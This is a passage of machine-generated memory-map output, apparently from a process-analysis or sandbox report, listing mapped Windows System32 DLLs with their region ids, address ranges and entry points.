mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1127 start_va = 0x7fffe5290000 end_va = 0x7fffe52a4fff monitored = 0 entry_point = 0x7fffe5292dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 1128 start_va = 0x7fffe5420000 end_va = 0x7fffe542ffff monitored = 0 entry_point = 0x7fffe5421700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 1129 start_va = 0x7fffe5430000 end_va = 0x7fffe5438fff monitored = 0 entry_point = 0x7fffe5431ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 1130 start_va = 0x7fffe5440000 end_va = 0x7fffe546cfff monitored = 0 entry_point = 0x7fffe5442290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 1131 start_va = 0x7fffe5470000 end_va = 0x7fffe54c1fff monitored = 0 entry_point = 0x7fffe54738e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 1132 start_va = 0x7fffe54d0000 end_va = 0x7fffe5569fff monitored = 0 entry_point = 0x7fffe54eada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1133 start_va = 0x7fffe55c0000 end_va = 0x7fffe55defff monitored = 0 entry_point = 0x7fffe55c4960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1134 start_va = 0x7fffe5710000 end_va = 0x7fffe5776fff monitored = 0 entry_point = 0x7fffe57163e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1135 start_va = 0x7fffe57d0000 end_va = 0x7fffe57e4fff monitored = 0 entry_point = 0x7fffe57d3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1136 start_va = 0x7fffe58c0000 end_va = 0x7fffe597ffff monitored = 0 entry_point = 0x7fffe58efd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1137 start_va = 0x7fffe5a90000 end_va = 0x7fffe5ad0fff monitored = 0 entry_point = 0x7fffe5a94840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 1138 start_va = 0x7fffe5bb0000 end_va = 0x7fffe5bc9fff monitored = 0 entry_point = 0x7fffe5bb2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1139 start_va = 0x7fffe5bd0000 end_va = 0x7fffe5be5fff monitored = 0 entry_point = 0x7fffe5bd19f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1140 start_va = 0x7fffe5c90000 end_va = 0x7fffe5ca3fff monitored = 0 entry_point = 0x7fffe5c91800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1141 start_va = 0x7fffe5d70000 end_va = 0x7fffe5da7fff monitored = 0 entry_point = 0x7fffe5d88cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1142 start_va = 0x7fffe5e50000 end_va = 0x7fffe5e63fff monitored = 0 entry_point = 0x7fffe5e52d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1143 start_va = 0x7fffe61e0000 end_va = 0x7fffe6272fff monitored = 0 entry_point = 0x7fffe61e9680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1144 start_va = 0x7fffe6390000 end_va = 0x7fffe639afff monitored = 0 entry_point = 0x7fffe6391d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1145 start_va = 0x7fffe63f0000 end_va = 0x7fffe6408fff monitored = 0 entry_point = 0x7fffe63f4520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1146 start_va = 0x7fffe68b0000 end_va = 0x7fffe6995fff monitored = 0 entry_point = 0x7fffe68ccf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 1147 start_va = 0x7fffe6b80000 end_va = 0x7fffe6bbdfff monitored = 0 entry_point = 0x7fffe6b8a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1148 start_va = 0x7fffe6bc0000 end_va = 0x7fffe6be6fff monitored = 0 entry_point = 0x7fffe6bc3bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 1149 start_va = 0x7fffe6c50000 end_va = 0x7fffe6c7dfff monitored = 0 entry_point = 0x7fffe6c57550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1150 start_va = 0x7fffe6c80000 end_va = 0x7fffe6c95fff monitored = 0 entry_point = 0x7fffe6c81b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1151 start_va = 0x7fffe6ca0000 end_va = 0x7fffe6cacfff monitored = 0 entry_point = 0x7fffe6ca2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 1152 start_va = 0x7fffe6cb0000 end_va = 0x7fffe6cdefff monitored = 0 entry_point = 0x7fffe6cb8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 1153 start_va = 0x7fffe6ea0000 end_va = 0x7fffe6fd5fff monitored = 0 entry_point = 0x7fffe6ecf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1154 start_va = 0x7fffe6fe0000 end_va = 0x7fffe7361fff monitored = 0 entry_point = 0x7fffe7031220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1155 start_va = 0x7fffe8460000 end_va = 0x7fffe856dfff monitored = 0 entry_point = 0x7fffe84aeaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 1156 start_va = 0x7fffe85e0000 end_va = 0x7fffe85eafff monitored = 0 entry_point = 0x7fffe85e1de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1157 start_va = 0x7fffe8870000 end_va = 0x7fffe8886fff monitored = 0 entry_point = 0x7fffe8875630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1158 start_va = 0x7fffe8890000 end_va = 0x7fffe889ffff monitored = 0 entry_point = 0x7fffe8892c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 1159 start_va = 0x7fffe88a0000 end_va = 0x7fffe8919fff monitored = 0 entry_point = 0x7fffe88c7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1160 start_va = 0x7fffe8920000 end_va = 0x7fffe8932fff monitored = 0 entry_point = 0x7fffe89257f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1161 start_va = 0x7fffe8940000 end_va = 0x7fffe8994fff monitored = 0 entry_point = 0x7fffe894fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1162 start_va = 0x7fffe8a00000 end_va = 0x7fffe8a6dfff monitored = 0 entry_point = 0x7fffe8a07f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1163 start_va = 0x7fffe8a70000 end_va = 0x7fffe8ad3fff monitored = 0 entry_point = 0x7fffe8a85ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1164 start_va = 0x7fffe8ca0000 end_va = 0x7fffe8cb0fff monitored = 0 entry_point = 0x7fffe8ca3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1165 start_va = 0x7fffe8cc0000 end_va = 0x7fffe8d00fff monitored = 0 entry_point = 0x7fffe8cd7eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1166 start_va = 0x7fffe8d10000 end_va = 0x7fffe8e0bfff monitored = 0 entry_point = 0x7fffe8d46df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1167 start_va = 0x7fffe8e10000 end_va = 0x7fffe8ecefff monitored = 0 entry_point = 0x7fffe8e31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1168 start_va = 0x7fffe8f80000 end_va = 0x7fffe8f91fff monitored = 0 entry_point = 0x7fffe8f89260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 1169 start_va = 0x7fffe8fa0000 end_va = 0x7fffe9050fff monitored = 0 entry_point = 0x7fffe90188b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 1170 start_va = 0x7fffe9060000 end_va = 0x7fffe9069fff monitored = 0 entry_point = 0x7fffe9061660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1171 start_va = 0x7fffe9070000 end_va = 0x7fffe91bcfff monitored = 0 entry_point = 0x7fffe90b3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1172 start_va = 0x7fffe91c0000 end_va = 0x7fffe91d7fff monitored = 0 entry_point = 0x7fffe91c5910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1173 start_va = 0x7fffe91e0000 end_va = 0x7fffe9204fff monitored = 0 entry_point = 0x7fffe91f2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 1174 start_va = 0x7fffe9210000 end_va = 0x7fffe9220fff monitored = 0 entry_point = 0x7fffe9217ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 1175 start_va = 0x7fffe9230000 end_va = 0x7fffe9249fff monitored = 0 entry_point = 0x7fffe9232cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 1176 start_va = 0x7fffe9250000 end_va = 0x7fffe92a4fff monitored = 0 entry_point = 0x7fffe9253fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 1177 start_va = 0x7fffe92b0000 end_va = 0x7fffe92e6fff monitored = 0 entry_point = 0x7fffe92b6020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 1178 start_va = 0x7fffe92f0000 end_va = 0x7fffe92fbfff monitored = 0 entry_point = 0x7fffe92f14d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1179 start_va = 0x7fffe9300000 end_va = 0x7fffe931ffff monitored = 0 entry_point = 0x7fffe93039a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 1180 start_va = 0x7fffe9320000 end_va = 0x7fffe93e7fff monitored = 0 entry_point = 0x7fffe93613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1181 start_va = 0x7fffe93f0000 end_va = 0x7fffe9450fff monitored = 0 entry_point = 0x7fffe93f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1182 start_va = 0x7fffe9460000 end_va = 0x7fffe95dbfff monitored = 0 entry_point = 0x7fffe94b1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 1183 start_va = 0x7fffe95e0000 end_va = 0x7fffe95eafff monitored = 0 entry_point = 0x7fffe95e1770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 1184 start_va = 0x7fffe9f30000 end_va = 0x7fffe9fc1fff monitored = 0 entry_point = 0x7fffe9f7a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1185 start_va = 0x7fffea070000 end_va = 0x7fffea0a5fff monitored = 0 entry_point = 0x7fffea080070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1186 start_va = 0x7fffeac10000 end_va = 0x7fffeac23fff monitored = 0 entry_point = 0x7fffeac12a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1187 start_va = 0x7fffeacf0000 end_va = 0x7fffeb182fff monitored = 0 entry_point = 0x7fffeacff760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1188 start_va = 0x7fffeb190000 end_va = 0x7fffeb1f6fff monitored = 0 entry_point = 0x7fffeb1ae710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 1189 start_va = 0x7fffeb250000 end_va = 0x7fffeb2c8fff monitored = 0 entry_point = 0x7fffeb26fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1190 start_va = 0x7fffeb2d0000 end_va = 0x7fffeb2d7fff monitored = 0 entry_point = 0x7fffeb2d13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 1191 start_va = 0x7fffeb310000 end_va = 0x7fffeb495fff monitored = 0 entry_point = 0x7fffeb35d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1192 start_va = 0x7fffeb4a0000 end_va = 0x7fffeb4bbfff monitored = 0 entry_point = 0x7fffeb4a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1193 start_va = 0x7fffeb500000 end_va = 0x7fffeb512fff monitored = 0 entry_point = 0x7fffeb502760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1194 start_va = 0x7fffeb610000 end_va = 0x7fffeb620fff monitored = 0 entry_point = 0x7fffeb6128d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 1195 start_va = 0x7fffeb650000 end_va = 0x7fffeb66cfff monitored = 0 entry_point = 0x7fffeb654f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1196 start_va = 0x7fffeb670000 end_va = 0x7fffeb6affff monitored = 0 entry_point = 0x7fffeb681960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 1197 start_va = 0x7fffeb7e0000 end_va = 0x7fffeb806fff monitored = 0 entry_point = 0x7fffeb7e7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1198 start_va = 0x7fffeb830000 end_va = 0x7fffeb8d9fff monitored = 0 entry_point = 0x7fffeb857910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1199 start_va = 0x7fffeba70000 end_va = 0x7fffeba7bfff monitored = 0 entry_point = 0x7fffeba72480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1200 start_va = 0x7fffebc40000 end_va = 0x7fffebc71fff monitored = 0 entry_point = 0x7fffebc52340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1201 start_va = 0x7fffebdb0000 end_va = 0x7fffebdbbfff monitored = 0 entry_point = 0x7fffebdb2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1202 start_va = 0x7fffebdc0000 end_va = 0x7fffebde3fff monitored = 0 entry_point = 0x7fffebdc3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1203 start_va = 0x7fffebf60000 end_va = 0x7fffec053fff monitored = 0 entry_point = 0x7fffebf6a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1204 start_va = 0x7fffec0b0000 end_va = 0x7fffec0f8fff monitored = 0 entry_point = 0x7fffec0ba090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1205 start_va = 0x7fffec1d0000 end_va = 0x7fffec1dbfff monitored = 0 entry_point = 0x7fffec1d27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1206 start_va = 0x7fffec2b0000 end_va = 0x7fffec2e0fff monitored = 0 entry_point = 0x7fffec2b7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1207 start_va = 0x7fffec310000 end_va = 0x7fffec389fff monitored = 0 entry_point = 0x7fffec331a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1208 start_va = 0x7fffec3d0000 end_va = 0x7fffec403fff monitored = 0 entry_point = 0x7fffec3eae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1209 start_va = 0x7fffec410000 end_va = 0x7fffec419fff monitored = 0 entry_point = 0x7fffec411830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 1210 start_va = 0x7fffec520000 end_va = 0x7fffec53efff monitored = 0 entry_point = 0x7fffec525d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1211 start_va = 0x7fffec690000 end_va = 0x7fffec6ebfff monitored = 0 entry_point = 0x7fffec6a6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1212 start_va = 0x7fffec740000 end_va = 0x7fffec756fff monitored = 0 entry_point = 0x7fffec7479d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1213 start_va = 0x7fffec860000 end_va = 0x7fffec86afff monitored = 0 entry_point = 0x7fffec8619a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1214 start_va = 0x7fffec8a0000 end_va = 0x7fffec8c0fff monitored = 0 entry_point = 0x7fffec8b0250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1215 start_va = 0x7fffec8f0000 end_va = 0x7fffec929fff monitored = 0 entry_point = 0x7fffec8f8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1216 start_va = 0x7fffec930000 end_va = 0x7fffec956fff monitored = 0 entry_point = 0x7fffec940aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1217 start_va = 0x7fffec960000 end_va = 0x7fffec9b5fff monitored = 0 entry_point = 0x7fffec970bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1218 start_va = 0x7fffecaa0000 end_va = 0x7fffecaccfff monitored = 0 entry_point = 0x7fffecab9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1219 start_va = 0x7fffecc30000 end_va = 0x7fffecc48fff monitored = 0 entry_point = 0x7fffecc35e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1220 start_va = 0x7fffecc50000 end_va = 0x7fffecc78fff monitored = 0 entry_point = 0x7fffecc64530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1221 start_va = 0x7fffecc80000 end_va = 0x7fffecd18fff monitored = 0 entry_point = 0x7fffeccaf4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1222 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1223 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1224 start_va = 0x7fffece30000 end_va = 0x7fffece3ffff monitored = 0 entry_point = 0x7fffece356e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1225 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1226 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1227 start_va = 0x7fffed0f0000 end_va = 0x7fffed733fff monitored = 0 entry_point = 0x7fffed2b64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1228 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1229 start_va = 0x7fffed7b0000 end_va = 0x7fffed804fff monitored = 0 entry_point = 0x7fffed7c7970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1230 start_va = 0x7fffed810000 end_va = 0x7fffed8c4fff monitored = 0 entry_point = 0x7fffed8522e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1231 start_va = 0x7fffed8d0000 end_va = 0x7fffed8e6fff monitored = 0 entry_point = 0x7fffed8d1390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1232 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1233 start_va = 0x7fffed940000 end_va = 0x7fffedb06fff monitored = 0 entry_point = 0x7fffed99db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1234 start_va = 0x7fffedb10000 end_va = 0x7fffedb95fff monitored = 0 entry_point = 0x7fffedb1d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1235 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1236 start_va = 